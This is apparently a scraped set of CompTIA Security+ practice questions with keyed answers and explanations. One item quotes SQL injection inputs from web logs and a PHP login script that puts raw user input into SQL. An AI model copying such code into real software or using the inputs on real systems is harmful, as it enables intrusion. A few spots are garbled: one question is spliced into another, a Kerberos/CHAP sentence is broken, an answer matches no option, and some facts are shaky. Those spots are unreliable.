OBJ-5.8: The Gramm-Leach-Bliley Act (GLBA) is a United States federal law that requires financial institutions to explain how they share and protect their customers’ private information. The Health Insurance Portability and Accountability Act (HIPPA) is a US law designed to provide privacy standards to protect patients’ medical records and other health information provided to health plans, doctors, hospitals, and other health care providers. Sarbanes-Oxley (SOX) is a United States federal law that set new or expanded requirements for all US public company boards, management, and public accounting firms. The Family Educational Rights and Privacy Act (FERPA) of 1974 is a United States federal law that governs the access to educational information and records by public entities such as potential employers, publicly funded educational institutions, and foreign governments.
In an effort to improve the security of the Dion Training corporate network, a security administrator wants to update the configuration of their wireless network to have IPSec built into the protocol by default. Additionally, the security administrator would like for NAT to no longer be required for extending the number of IP addresses available. What protocol should the administrator implement on the wireless network to achieve their goals?
WEP
IPv6
WPA2
IPv4
IPv6
OBJ-2.1: IPv6 includes IPSec built into the protocol by default. Additionally, IPv6 also provides an extended IP address range for networks, which eliminates the need for using NAT. IPv4 does not include IPSec or extended IP address ranges by default. WPA2 is the most modern and secure version of wireless encryption for WiFi networks, but it doesn’t include IPSec or extended IP address ranges by default. WEP is an older version of wireless encryption for WiFi networks and doesn’t provide these features by default, either.
Dion Training has an open wireless network called “InstructorDemos” for its instructors to use during class, but they do not want any students connecting to this wireless network. The instructors need the “InstructorDemos” network to remain open since some of their IoT devices used during course demonstrations do not support encryption. Based on the requirements provided, which of the following configuration settings should you use to satisfy the instructor’s requirements and prevent students from using the “InstructorDemos” network?
Signal strength
MAC filtering
QoS
NAT
MAC filtering
OBJ-6.3: Since the instructors need to keep the wireless network open, the BEST option is to implement MAC filtering to prevent the students from connecting to the network while still keeping the network open. Since the instructors would most likely use the same devices to connect to the network, it would be relatively easy to implement a MAC filtering based whitelist of devices that are allowed to use the open network and reject any other devices not listed by the instructors (like the student’s laptops or phones). Reducing the signal strength would not solve this issue since students and instructors are both in the same classrooms. Using Network Address Translation and Quality of Service will not prevent the students from accessing or using the open network.
A penetration tester hired by a bank began searching for the bank’s IP ranges by performing lookups on the bank’s DNS servers, reading news articles online about the bank, monitoring what times the bank’s employees came into and left work, searching job postings (with a special focus on the bank’s information technology jobs), and even searching the corporate office of the bank’s dumpster. Based on this description, what portion of the penetration test is being conducted?
Active information gathering
Passive information gathering
Vulnerability assessment
Information reporting
Passive information gathering
OBJ-1.4: Passive information gathering consists of numerous activities where the penetration tester gathers information that is open-source or publicly available, without the organization under investigation being aware that the information has been accessed. Active information gathering instead starts to probe the organization using techniques like DNS Enumeration, Port Scanning, and OS Fingerprinting. Vulnerability assessments are another form of active information gathering. Information reporting occurs after the penetration test is complete, and it involves writing a final report with the results, vulnerabilities, and lessons learned during the assessment.
Your company just launched a new invoicing website for use by your five largest vendors. You are the cybersecurity analyst and have been receiving numerous phone calls that the webpage is timing out, and the website overall is performing slowly. You have noticed that the website received three million requests in just 24 hours, and the service has now become unavailable for use. What do you recommend should be implemented to restore and maintain the availability of the new invoicing system?
Intrusion Detection System
VPN
MAC filtering
Whitelisting
Whitelisting
OBJ-2.4: By implementing whitelisting of the authorized IP addresses for the five largest vendors, they will be the only ones who will be able to access the webserver. This can be done by creating rules in the Access Control List (ACL) to deny ALL other users except these five vendors, thereby dropping a large number of requests from any other IP addresses, such as those from an attacker. Based on the description in the scenario, it appears like the system is under some form of denial of service attack, but by implementing a whitelist at the edge of the network and blackholing any traffic from IP addresses that are not whitelisted, the server will no longer be overwhelmed or perform slowly to respond to legitimate requests. MAC filtering is only applicable at layer 2 of the OSI model (which would not work for traffic being sent over the internet from your vendors to your server). A VPN is a reasonable solution to help secure the connection between the vendors and your systems, but it will not deal with the DoS condition being experienced. An intrusion detection system may detect the DoS condition, but an IDS cannot resolve the condition (whereas an IPS could).
Which cloud computing concept is BEST described as focusing on replacing the hardware and software required when creating and testing new applications and programs from a customer’s environment with cloud-based resources?
SaaS
SECaaS
IaaS
PaaS
PaaS
OBJ-3.7: Platform as a Service (PaaS) provides the end-user with a development environment without all the hassle of configuring and installing it themselves. If you want to develop a customized or specialized program, PaaS helps reduce the development time and overall costs by providing a ready to use platform.
What popular open-source port scanning tool is commonly used for host discovery and service identification?
nmap
dd
services.msc
Nessus
nmap
OBJ-2.2: The world’s most popular open-source port scanning utility is nmap. The Services console (services.msc) allows an analyst to disable or enable Windows services. The dd tool is used to copy files, disk, and partitions, and it can also be used to create forensic disk images. Nessus is a proprietary vulnerability scanner developed by Tenable. While Nessus does contain the ability to conduct a port scan, its primary role is as a vulnerability scanner, and it is not an open-source tool.
Your organization has recently been the target of a spearphishing campaign. You have identified the website associated with the link in the spearphishing emails and want to block it. Which of the following techniques would be the MOST effective in this situation?
URL filter
Application blacklist
Quarantine
Containment
URL filter
OBJ-2.3: A URL filter can be used to block a website based on its website address or universal resource locator (URL). This is not a containment technique, but a blocking and filtering technique. Quarantine would be used against an infected machine, and it would not be effective against trying to block access to a given website across the entire organization. An application blacklist is used to prevent an application from running, so this cannot be used to block a single malicious or suspicious website or URL.
A penetration tester has been hired to conduct an assessment, but the company wants to exclude social engineering from the list of authorized activities. Which of the following documents would include this limitation?
Service level agreement
Memorandum of understanding
Acceptable use policy
Rules of engagement
Rules of engagement
OBJ-1.4: While the network scope given in the contract documents will define what will be tested, the rules of engagement defines how that testing is to occur. Rules of engagement can state things like no social engineering is allowed, no external website scanning, etc. A memorandum of understanding (MOU) is a preliminary or exploratory agreement to express an intent to work together that is not legally binding and does not involve the exchange of money. A service level agreement contains the operating procedures and standards for a service contract. An acceptable use policy is a policy that governs employees’ use of company equipment and internet services.
A hacker successfully modified the sale price of items purchased through your company’s web site. During the investigation that followed, the security analyst has verified the web server, and the Oracle database was not compromised directly. The analyst also found no attacks that could have caused this during their log verification of the Intrusion Detection System (IDS). What is the most likely method that the attacker used to change the sale price of the items purchased?
SQL injection
Changing hidden form values
Cross-site scripting
Buffer overflow attack
Changing hidden form values
OBJ-2.4: Since there are no indications in the IDS logs, the database, or the server, it is most likely that the hacker changed hidden form values to change the price of the items in the shopping cart. A buffer overflow is an anomaly that occurs when a program overruns the buffer’s boundary and overwrites adjacent memory locations while writing data to a buffer. Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end-user. SQL injection is a code injection technique used to attack data-driven applications in which malicious SQL statements are inserted into an entry field for execution, such as dumping the database contents to the attacker.
You conducted a security scan and found that port 389 is being used when connecting to LDAP for user authentication instead of port 636. The security scanning software recommends that you remediate this by changing user authentication to port to 636 wherever technically possible. What should you do?
Change all devices and servers that support it to port 636 since port 389 is a reserved port that requires root access and can expose the server to privilege escalation attacks
Mark this as a false positive in your audit report since the services that typically run on ports 389 and 636 are identical
Change all devices and servers that support it to port 636 since encrypted services run by default on port 636
Conduct remediation actions to update encryption keys on each server to match port 636
Change all devices and servers that support it to port 636 since encrypted services run by default on port 636
OBJ-2.6: LDAP can be run on either port 389 or port 636. Port 389 is the standard port for LDAP but typically runs unencrypted LDAP services over this port. Instead, you should change all devices and servers that can technically support the change to port 636, since LDAP services over port 636 are encrypted by default.
When conducting forensic analysis of a hard drive, what tool would BEST prevent changing the contents of the hard drive during your analysis?
Software write blocker
Forensic drive duplicator
Hardware write blocker
Degausser
Hardware write blocker
OBJ-5.5: Both hardware and software write blockers are designed to ensure that forensic software and tools cannot change a drive inadvertently by accessing it. But, since the question indicates that you need to choose the BEST solution to protect the contents of the drive from being changed during analysis, you should pick the hardware write blocker. The primary purpose of a hardware write blocker is to intercept and prevent (or ‘block’) any modifying command operation from ever reaching the storage device. A forensic drive duplicator simply copies a drive and validates that it matches the original drive, but cannot be used by itself during analysis. A degausser is used to wipe magnetic media. Therefore, it should not be used on the drive since it would erase the contents of the hard drive.
Which of the following authentication protocols was developed by Cisco to provide authentication, authorization, and accounting services?
Kerberos
RADIUS
TACACS+
CHAP
TACACS+
OBJ-4.2: TACACS+ is an extension to TACACS (Terminal Access Controller Access Control System) and was developed as a proprietary protocol by Cisco. The Remote Authentication Dial-In User Service (RADIUS) is a networking protocol that operates on port 1812 and provides centralized Authentication, Authorization, and Accounting management for users who connect and use a network service, but it was not developed by Cisco. Kerberos is an open-source network authentication protocol designed by Matte Challenge-Handshake Authentication Protocol (CHAP) is used to authenticate a user or network host to an authenticating entity. CHAP is an authentication protocol but does not provide authorization or accounting services
Which of the following hashing algorithms results in a 128-bit fixed output?
MD-5
SHA-1
SHA-2
RIPEMD
MD-5
OBJ-6.2: MD-5 creates a 128-bit fixed output. SHA-1 creates a 160-bit fixed output. SHA-2 creates a 256-bit fixed output. RIPEMD creates a 160-bit fixed output.
What technology is NOT PKI x.509 compliant and cannot be used in a variety of secure functions?
Blowfish
SSL/TLS
AES
PKCS
Blowfish
OBJ-6.4: AES, PKCS, and SSL/TLS are all compatible with x.509 and can be used in a wide variety of functions and purposes. AES is used for symmetric encryption. PKCS is used as a digital signature algorithm. SSL/TLS is used for the secure key exchange.
Which of the following cryptographic algorithms is classified as symmetric?
RSA
Blowfish
ECC
PGP
Blowfish
OBJ-6.2: Blowfish is a symmetric-key block cipher, designed in 1993 by Bruce Schneier and included in many cipher suites and encryption products. ECC, PGP, and RSA are all asymmetric algorithms.
Which of the following authentication mechanisms involves receiving a one-time use shared secret password, usually through a token-based key fob or smartphone app, that does not expire?
TOTP
EAP
Smart card
HOTP
HOTP
OBJ-4.3: HMAC-based One-time Password Algorithm (HOTP) is an algorithm for token-based authentication. The authentication server and client token are configured with the same shared secret. The token could be a fob-type device or implemented as a smartphone app. The token does not have an expiration under HOTP, but an improved version known as TOTP does include token expirations.
The local electric power plant contains both business networks and ICS/SCADA networks to control their equipment. Which technology should the power plant’s security administrators look to implement first as part of configuring better defenses for the ICS/SCADA systems?
Intrusion prevention system
Log consolidation
Automated patch deployment
Anti-virus software
Intrusion prevention system
OBJ-3.5: Since this question is focused on the ICS/SCADA network, the best solution would be to implement an Intrusion Prevention System on the network. ICS/SCADA machines utilize very specific commands to control the equipment and to prevent malicious activity. You could set up strict rules in the IPS to prevent unknown types of actions from being allowed to occur. Log consolidation is a good idea, but it won’t prevent an issue and therefore isn’t the most critical thing to add first. Automated patch management should not be conducted, as ICS/SCADA systems must be tested prior to conducting any patches. Often, patches will break ICS/SCADA functionality. Anti-virus software may or may not be able to run on the equipment, as well, since some ICS/SCADA systems often do not rely on standard operating systems like Windows.
A security analyst is conducting a log review of the company’s web server and found two suspicious entries: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- [12Jun2020 10:07:23] “GET /logon.php?user=test’+oR+7>1%20—HTTP/1.1” 200 5825 [12Jun2020 10:10:03] “GET /logon.php?user=admin’;%20—HTT{/1.1” 200 5845 -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- The analyst contacts the web developer and asks for a copy of the source code to the logon.php script. The script is as follows: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= php include(‘../../config/db_connect.php’); $user = $_GET[‘user’]; $pass = $_GET[‘pass’]; $sql = “SELECT * FROM USERS WHERE username = ‘$user’ AND password = ‘$pass’”; $result = MySQL_query($sql) or die (“couldn’t execute query”); if (MySQL_num_rows($result) !=0 ) echo ‘Authentication granted!’; else echo ‘Authentication failed!’; ?> -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Based on source code analysis, which type of vulnerability is this web server vulnerable to?
SQL injection
Command injection
LDAP injection
Directory traversal
SQL injection
OBJ-1.2: Based on the log entries, it appears the attack was successful in conducting a SQL injection. Notice the escape character (‘) used in the log. In the script, a connection to the MySQL database is being used, which could be exploited since no input validation is being performed. Command injection is an attack in which the goal is the execution of arbitrary commands on the host operating system via a vulnerable application. SQL injection is a specific type of command injection. LDAP injection is a code injection technique used to exploit web applications that could reveal sensitive user information or modify information represented in the LDAP (Lightweight Directory Access Protocol) data stores. Directory traversal or Path Traversal is an HTTP attack that allows attackers to access restricted directories and execute commands outside of the web server’s root directory.
What is a major security risk that could occur when you comingle hosts/servers with different security requirements in a single network?
Privilege creep
Password compromises
Security policy violations
Zombie attacks
Security policy violations
OBJ-2.3: A network is only as strong as its weakest link (or host/server). When you comingle hosts/servers, there is a large risk that security policy violations could occur. This is because users may be used to follow a less stringent security policy for one set of machines, and carry over those procedures to a machine that should have had stronger security policies.
What is the correct order of the Incident Response process?
Identification, Containment, Eradication, Preparation, Recovery, and Lessons Learned
Preparation, Identification, Containment, Eradication, Recovery, and Lessons Learned
Containment, Eradication, Identification, Lessons learned, Preparation, and Recovery
Lessons Learned, Recovery, Preparation, Identification, Containment, and Eradication
Preparation, Identification, Containment, Eradication, Recovery, and Lessons Learned
OBJ-5.4: The proper order of the Incident Response process is Preparation, Identification, Containment, Eradication, Recovery, and Lessons Learned. Concepts with lists of steps are common questions asked as an ordering or a drag and drop question on the exam. For example, the steps of an incident response, the order of volatility, or the strength of encryption schemes could be asked using this question format.
Which authentication mechanism does 802.1x usually rely upon?
TOTP
HOTP
EAP
RSA
EAP
OBJ-4.3: The IEEE 802.1X Port-based Network Access Control framework establishes several ways for devices and users to be securely authenticated before they are permitted full network access. The actual authentication mechanism will be some variant of the Extensible Authentication Protocol (EAP). EAP allows lots of different authentication methods, but many of them use a digital certificate on the server and/or client machines. This allows the machines to establish a trust relationship and create a secure tunnel to transmit the user authentication credential.
Consider the following snippet from a log file collected on the host with the IP address of 10.10.3.6. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Time: Jun 12, 2020 09:24:12 Port:20 Source: 10.10.3.2 Destination:10.10.3.6 Protocol:TCP Time: Jun 12, 2020 09:24:14 Port:21 Source: 10.10.3.2 Destination:10.10.3.6 Protocol:TCP Time: Jun 12, 2020 09:24:16 Port:22 Source: 10.10.3.2 Destination:10.10.3.6 Protocol:TCP Time: Jun 12, 2020 09:24:18 Port:23 Source: 10.10.3.2 Destination:10.10.3.6 Protocol:TCP Time: Jun 12, 2020 09:24:20 Port:25 Source: 10.10.3.2 Destination:10.10.3.6 Protocol:TCP Time: Jun 12, 2020 09:24:22 Port:80 Source: 10.10.3.2 Destination:10.10.3.6 Protocol:TCP Time: Jun 12, 2020 09:24:24 Port:135 Source: 10.10.3.2 Destination:10.10.3.6 Protocol:TCP Time: Jun 12, 2020 09:24:26 Port:443 Source: 10.10.3.2 Destination:10.10.3.6 Protocol:TCP Time: Jun 12, 2020 09:24:26 Port:445 Source: 10.10.3.2 Destination:10.10.3.6 Protocol:TCP -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- What type of activity occurred based on the output above?
Port scan targeting 10.10.3.2
Port scan targeting 10.10.3.6
Denial of service attack targeting 10.10.3.6
Fragmentation attack targeting 10.10.3.6
Port scan targeting 10.10.3.6
OBJ-2.2: Port Scanning is the name for the technique used to identify open ports and services available on a network host. Based on the logs, you can see a sequential scan of some commonly used ports (20, 21, 22, 23, 25, 80, 135, 443, 445) with a two-second pause between each attempt. The source of the scan is 10.10.3.2, and the destination of the scan is 10.10.3.6, making “Port scan targeting 10.10.3.6” the correct choice. IP fragmentation attacks are a common form of denial of service attack, in which the perpetrator overbears a network by exploiting datagram fragmentation mechanisms. A denial-of-service (DoS) attack occurs when legitimate users are unable to access information systems, devices, or other network resources due to the actions of a malicious cyber threat actor.
Which of the following Wireshark filters should be applied to a packet capture to detect applications that are sending passwords in cleartext to a REST API located at 10.1.2.3?
http. request.method==”POST” && ip.dst=10.1.2.3
ip. proto=tcp
ip. dst=10.1.2.3
http. request.method==”POST”
http.request.methd==”POST” && ip.dst=10.1.2.3
OBJ-2.2: Filtering the available PCAP with just the http “post” methods would display any data sent when accessing a REST API, regardless of the destination IP. Filtering the available PCAP with just the desired IP address would show all traffic to that host (10.1.2.3). By combining both of these, you can minimize the data displayed to only show things posted to the API located at 10.1.2.3. The ip.proto=tcp filter would display all TCP traffic on a network, regardless of the port, IP address, or protocol being used. It would simply produce too much information to analyze.
Which protocol is paired with OAuth2 to provide authentication of users in a federated identity management solution?
ADFS
SAML
Kerberos
OpenID Connect
OpenID Connect
OBJ-4.2: OAuth 2 is explicitly designed to authorize claims and not to authenticate users. The implementation details for fields and attributes within tokens are not defined. Open ID Connect (OIDC) is an authentication protocol that can be implemented as special types of OAuth flows with precisely defined token fields. Security Assertion Markup Language (SAML) is an open standard for exchanging authentication and authorization data between parties, in particular, between an identity provider and a service provider. SAML is an XML-based markup language for security assertions. Active Directory Federation Services (ADFS) is a software component developed by Microsoft that can run on Windows Server operating systems to provide users with single sign-on access to systems and applications located across organizational boundaries. Kerberos is a computer network authentication protocol that works on the basis of tickets to allow nodes communicating over a non-secure network to prove their identity to one another in a secure manner.
You are creating a script to filter some logs so that you can detect any suspected malware beaconing. Which of the following is NOT a typical means of identifying a malware beacons behavior on the network?
The beacon’s persistence
The beaconing interval
The removal of known traffic
The beacon’s protocol
The beacon’s protocol
OBJ-1.4: The beacon’s protocol is not typically a means of identifying a malware beacon. A beacon can be sent over numerous protocols, including ICMP, DNS, HTTP, and numerous others. Unless you specifically knew the protocol being used by the suspected beacon, filtering out beacons by the protocol seen in the logs could lead you to eliminate malicious behavior prematurely. Other factors like the beacon’s persistence (if it remains after a reboot of the system) and the beacon’s interval (how much time elapses between beaconing)are much better indicators for fingerprinting a malicious beacon. The removal of known traffic by the script can also minimize the amount of data the cybersecurity analyst needs to analyze, therefore making it easier to detect the malicious beacon without wasting their time reviewing non-malicious traffic.
Which of the following vulnerability scans would provide the best results if you want to determine if the target’s configuration settings are correct?
Credentialed scan
External scan
Internal scan
Non-credentialed scan
Credentialed scan
OBJ-1.5: Credentialed scans log into a system and retrieve their configuration information. Therefore, it should provide you with the best results. Non-credentialed scans rely on external resources for configuration settings that can be altered or incorrect. The network location of the scanner does not have a direct impact on the ability to read the configuration information, so it would not make a difference if you conducted an external or internal scan.
You are reviewing the logs in your IDS and see that there were entries showing SYN packets received from a remote host targeting each port on your web server from 1 to 1024. Which of the following MOST likely occurred?
UDP probe
SYN flood
Port scan
Remote host cannot find the right service port
Port scan
OBJ-2.2: Based on the description provided, this is most likely a port scan. Using a tool like nmap, an attacker can create a SYN scan across every port in a range against the desired target. A port scan or SYN scan may trigger an alert in your IDS. While scanners support more stealthy scans, default scans may connect to each port sequentially. The other options are incorrect because a remote host will typically connect to only a single port associated with a service, a SYN flood normally sends many SYNs to a single system but doesn’t send them to unused ports, and a UDP probe will not send SYN packets.
An attacker has compromised a virtualized server. You are conducting forensic analysis as part of the recovery effort but found that the attacker deleted a virtual machine image as part of their malicious activity. Which of the following challenges do you now have to overcome as part of the recovery and remediation efforts?
File formats used by some hypervisors cannot be analyzed with traditional forensic tools
The attack widely fragmented the image across the host file system
All log files are stored within the VM disk image, therefore, they are lost
You will need to roll back to an early snapshot and then merge any checkpoints to the main image
The attack widely fragmented the image across the host file system
OBJ-5.5: Due to the deletion of the VM disk image, you will now have to conduct file carving or other data recovery techniques to recover and remediate the virtualized server. If the server’s host uses a proprietary file system, such as VMFS on ESXi, this can further limit support by data recovery tools. The attacker may have widely-fragmented the image across the host file system when they deleted the disk image. VM instances are most useful when they are elastic (meaning they optimally spin up when needed) and then destroyed without preserving any local data when security has performed the task, but this can lead to the potential of lost system logs. To prevent this, most VMs also save their logs to an external syslog server or file. Virtual machine file formats are image-based and written to a mass storage device. Depending on the configuration and VM state, security must merge any checkpoints to the main image, using a hypervisor tool, not recovery from an old snapshot, and then roll forward. It is possible to load VM data into a memory analysis tool, such as Volatility, although the file formats used by some hypervisors require conversion first, or it may not support the analysis tool.
What problem can be solved by using Wireshark?
Resetting the administrator password on three different servers
Performing packet capture and analysis on a network
Validating the creation dates of webpages on a server
Tracking source code version changes
Performing packet capture and analysis on a network
OBJ-2.2: Wireshark is a free and open-source packet analyzer. It is used for network troubleshooting, analysis, software and communications protocol development, and education. It cannot perform any of the other three options.
Your smartphone begins to receive unsolicited messages while you are eating lunch at the restaurant across the street from your office. What might cause this to occur?
Geotagging
Packet Sniffing
Bluejacking
Bluesnarfing
Bluejacking
OBJ-1.2: Bluejacking is the sending of unsolicited messages over Bluetooth to Bluetooth-enabled devices such as smartphones and tablets. Bluesnarfing, on the other hand, involves taking data from a smartphone or tablet over Bluetooth without permission. Bluetooth has a very limited range, so the attacker is likely within 10 meters of the victimized device. Geotagging involves embedded the geolocation coordinates into a piece of data (normally a photo or video). Packet sniffing is a passive method of collecting network traffic for follow-on analysis at a later time.
You want to play computer-based video games from anywhere in the world using your laptop or tablet. You heard about a new product called a Shadow PC that is a virtualized Windows 10 Home gaming PC in the cloud. Which of the following best describes this type of service?
DaaS
SaaS
PaaS
IaaS
DaaS
OBJ-3.7: Desktop as a Service (DaaS) provides a full virtualized desktop environment from within a cloud-based service. This is also known as VDI (Virtualized Desktop Infrastructure) and is coming in large enterprise businesses that are focused on increasing their security and minimizing their operational expenses. Shadow PC (shadow.tech) provides a version of DaaS for home users who want to have a gaming PC without all the upfront costs.
Dion Training allows its visiting business partners from CompTIA to use an available Ethernet port in their conference room to establish a VPN connection back to the CompTIA internal network. The CompTIA employees should be able to obtain internet access from the Ethernet port in the conference room, but nowhere else in the building. Additionally, if a Dion Training employee uses the same Ethernet port in the conference room, they should be able to access Dion Training’s secure internal network. Which of the following technologies would allow you to configure this port and support both requirements?
Configure a SIEM
Create an ACL to allow access
MAC filtering
Implement NAC
Implement NAC
OBJ-2.1: Network Access Control (NAC) uses a set of protocols to define and implement a policy that describes how to secure access to network nodes whenever a device initially attempts to access the network. NAC can utilize an automatic remediation process by fixing non-compliant hosts before allowing network access. Network Access Control can control access to a network with policies, including pre-admission endpoint security policy checks and post-admission controls over where users and devices can go on a network and what they can do. In this scenario, implementing NAC can identify which machines are known and trusted Dion Training assets, and provide them with access to the secure internal network. NAC could also determine which are unknown machines (assumed to be those of CompTIA employees), and provide them with direct internet access only by placing them onto a guest network or VLAN. While MAC filtering could be used to allow or deny access to the network, it cannot by itself control which set of network resources could be utilized from a single ethernet port. A security information and event management (SIEM) system provides real-time analysis of security alerts generated by applications and network hardware. An access control list could define what ports, protocols, or IP addresses the ethernet port could be utilized, but it would be unable to distinguish between a Dion Training employee’s laptop and a CompTIA employee’s laptop like a NAC implementation could.
Jennifer decided that the licensing cost for a piece of video editing software was too expensive. Instead, she decided to download a keygen program to generate her own license key and install a pirated version of the editing software. After she runs the keygen, a license key is created, but her system performance becomes very sluggish, and her antimalware suite begins to display numerous alerts. Which type of malware might her computer be infected with?
Adware
Trojan
Logic bomb
Worm
Trojan
OBJ-1.1: A trojan is a program in which malicious or harmful code is contained inside an apparently harmless program. In this example, the harmless program is the key generator (which does create a license key), but it also has malicious code inside of it (causing the additional alerts from the antimalware solution). Likely, this keygen has an embedded virus or remote access trojan (RAT) in its programming.
You want to create a website for your new technical support business. You decide to purchase an on-demand cloud-based server and install Linux, Apache, and WordPress on it to run your website. Which of the following best describes which type of service you have just purchased?
PaaS
SaaS
DaaS
IaaS
IaaS
OBJ-3.7: Infrastructure as a Service (Iaas) is focused on moving your servers and computers into the cloud. If you purchase a server in the cloud and then install and manage the operating system and software on it, this is Iaas.
Dion Training has just suffered a website defacement of its public-facing webserver. The CEO believes this act of vandalism may have been done by the company’s biggest competitor. The decision has been made to contact law enforcement, so evidence can be collected properly for use in a potential court case. Laura is a digital forensics investigator assigned to collect the evidence. She creates a bit-by-bit disk image of the web server’s hard drive as part of her evidence collection. Which technology should Laura use after creating the disk image to verify the data integrity of the copy matches that of the original web server’s hard disk?
AES
RSA
3DES
SHA-256
SHA-256
OBJ-5.5: SHA-256 is the Secure Hash Algorithm with a 256-bit length output. This is one of the most common hash algorithms in use and is employed in many applications and protocols. SHA-256 and other hashing algorithms are used to ensure the data integrity of a file has not been altered. RSA, 3DES, and AES are all encryption algorithms. These algorithms can ensure confidentiality but not integrity.
Dion Training has just suffered a website defacement of its public-facing webserver. The CEO believes this act of vandalism may have been done by the company’s biggest competitor. The decision has been made to cYou are conducting an incident response and want to determine if any account-based indicators of compromise (IoC) exist on a compromised server. Which of the following would you NOT search for on the server?
Malicious processes
Unauthorized sessions
Off-hours usage
Failed logins
Malicious processes
OBJ-2.4: A malicious process is one that is running on a system and is outside the norm. This is a host-based indicator of compromise (IOC) and is not directly associated with an account-based IOC. Off-hours usage, unauthorized sessions, and failed logins are all account-based examples of an IOC. Off-hours usage occurs when an account is observed to log in during periods outside of normal business hours. This is often used by an attacker to avoid detection during business hours. Unauthorized sessions occur when a device or service is accessed without authorization. For example, if a limited privilege user is signed into a domain controlled. A failed login might be normal if a user forgets or incorrectly types their password, but repeated failures for one account could also be an indication of an attacked to crack a user’s password.
You have recently been hired as a security analyst at Dion Training. On your first day, your supervisor begins to explain the way their network is configured, showing you the physical and logical placement of each firewall, IDS sensor, host-based IPS installations, the networked spam filter, and the DMZ. What best describes how these various devices are placed into the network for the highest level of security?
Defense in depth
Network segmentation
Load balancer
UTM
Defense in depth
OBJ-3.1: Defense in depth is the concept of layering various network appliances and configurations to create a more secure and defensible architecture. Dion Training appears to be using various host-based and network-based devices to help ensure there are multiple layers of security in the network.
Your home network is configured with a long, strong, and complex pre-shared key for its WPA2 encryption. You noticed that your wireless network has been running slow, so you checked the list of “connected clients” and see that “Bob’s Laptop” is connected to it. Bob lives downstairs and is the maintenance man for your apartment building. You know that you never gave Bob your password, but somehow he has figured out how to connect to your wireless network. Which of the following actions should you take to prevent anyone from connecting to your wireless network without the WPA2 password?
Enable WPA
Disable SSID broadcast
Disable WPA2
Disable WPS
Disable WPS
OBJ-6.3: WPS was created to ease the setup and configuration of new wireless devices by allowing the router to automatically configure them after a short eight-digit PIN was entered. Unfortunately, WPS is vulnerable to a brute-force attack and is easily compromised. Therefore, WPS should be disabled on all wireless networks. If Bob was able to enter your apartment and press the WPS button, he could have configured his laptop to use your wireless network without your WPA2 password.
Users connecting to an SSID appear to be unable to authenticate to the captive portal. Which of the following is the MOST likely cause of the issue?
SSL certificates
CSMA/CA
RADIUS
WPA2 security key
RADIUS
OBJ-6.3: Captive portals usually rely on 802.1x, and 802.1x uses RADIUS for authentication.
Using the image provided, place the port numbers in the correct order with their associated protocols:
1701 RDP
3389 L2TP
88 LDAP
389 Kerberos
1701, 3389, 88. 389
88, 389, 3389, 1701
3389, 1701, 389, 88
389, 88, 1701, 3389
3389, 1701, 389, 88
OBJ 2.6: For the exam, you need to know your ports and protocols. The Remote Desktop Protocol (RDP) operates over port 3389. Layer 2 Tunneling Protocol (L2TP) operates over port 1701. The Lightweight Directory Access Protocol (LDAP) operates over port 389. Kerberos operates over port 88.
What type of weakness is John the Ripper used to test during a technical assessment?
Usernames
Passwords
Firewall rulesets
File permissions
Passwords
OBJ-2.2: John the Ripper is a free, open-source password cracking software tool. It is utilized to test the strength of passwords during a technical assessment. John the Ripper supports both dictionary and brute force attacks.
A recent vulnerability scan found several vulnerabilities on an organization’s public-facing IP addresses. In order to reduce the risk of a breach, which of the following vulnerabilities should be prioritized first for remediation?
A website utilizing a self-signed SSL certificate
An HTTP response that reveals an internal IP address
A buffer overflow that is known to allow remote code execution
A cryptographically weak encryption cipher
A buffer overflow that is known to allow remote code execution
OBJ-1.6: The most serious vulnerability discovered is one that could allow remote code execution to occur. Since this buffer overflow vulnerability is known to allow remote code execution, it must be mitigated first to most effectively prevent a security breach. While the other issues all should be addressed eventually, you need to prioritize the most critical one (remote code execution) on a public-facing IP address. A public-facing IP address means the device is accessible from the internet.
You are conducting an intensive vulnerability scan to detect which ports might be open to exploitation. During the scan, one of the network services becomes disabled and causes an impact on the production server. Which of the following sources of information would provide you with the most relevant information for you to use in determining which network service was interrupted and why?
Network mapping
Syslog
NIDS
Firewall logs
Syslog
OBJ-2.1: The syslog server is a centralized log management solution. By looking through the logs on the syslog server, the technician could determine which service failed on which server, since all the logs are retained on the syslog server from all of the network devices and servers. Network mapping is conducted using active and passive scanning techniques and could assist in determining which server was offline, but not what caused the interruption. Firewall logs would only assist in determining why the network connectivity between a host and destination may have been disrupted. A network intrusion detection system (NIDS) is used to detect hacking activities, denial of service attacks, and port scans on a computer network. It is unlikely to provide the details needed to identify why the network service was interrupted.
You work as a cybersecurity analyst at a software development firm. The software developers have begun implementing commercial and open source libraries into their codebase so that they can minimize the time it takes to develop and release a new application. Which of the following should be your biggest concern as a cybersecurity analyst?
Open-source libraries are inherently insecure because you do not know who wrote them
There are no concerns with using commercial or open-source libraries to speed up developments
Whether or not the libraries being used in the projects are the most up to date versions
Any security flaws present in the library will also be present in the developed application
Any security flaws present in the library will also be present in the developed application
OBJ-3.6: Any security flaws present in a commercial or open-source library will also be present in the developed application. A library is vulnerable, just as any other application or code might be. There are both known (discovered) and unknown vulnerabilities that could exist in the libraries being integrated into the project. Therefore, the software development team needs to ensure that they are monitoring the applicable libraries for additional CVEs that might be uncovered at a later date, that they have plans for how to distribute appropriate patches to their customers and a plan for integrating subsequent updates into their own codebase. Open-source libraries are not more vulnerable or insecure than commercial available or in-house developed libraries. In fact, most open-source software is more secure because it is widely analyzed and reviewed by programmers all around the world. While ensuring the most up to date versions of the libraries is a valid concern, as a cybersecurity analyst, you should be more concerned with current security flaws in the library so you can conduct risk management and implement controls to mitigate these vulnerabilities, and determine the method for continuing updates and patch support.
Jason has installed multiple virtual machines on a single physical server. He needs to ensure that the traffic is logically separated between each virtual machine. How can Jason best implement this requirement?
Conduct system partitioning on the physical server to ensure the virtual disk images are on different partitions
Install a virtual firewall and establish an access control list
Create a virtual router and disable the spanning tree protocol
Configure a virtual switch on the physical server and create VLANs
Configure a virtual switch on the physical server and create VLANs
OBJ-3.2: A virtual switch is a software application that allows communication between virtual machines. A virtual local area network (VLAN) is a hardware-imposed network segmentation created by switches. This solution provides logical separation of each virtual machine through the use of VLANs on the virtual switch.
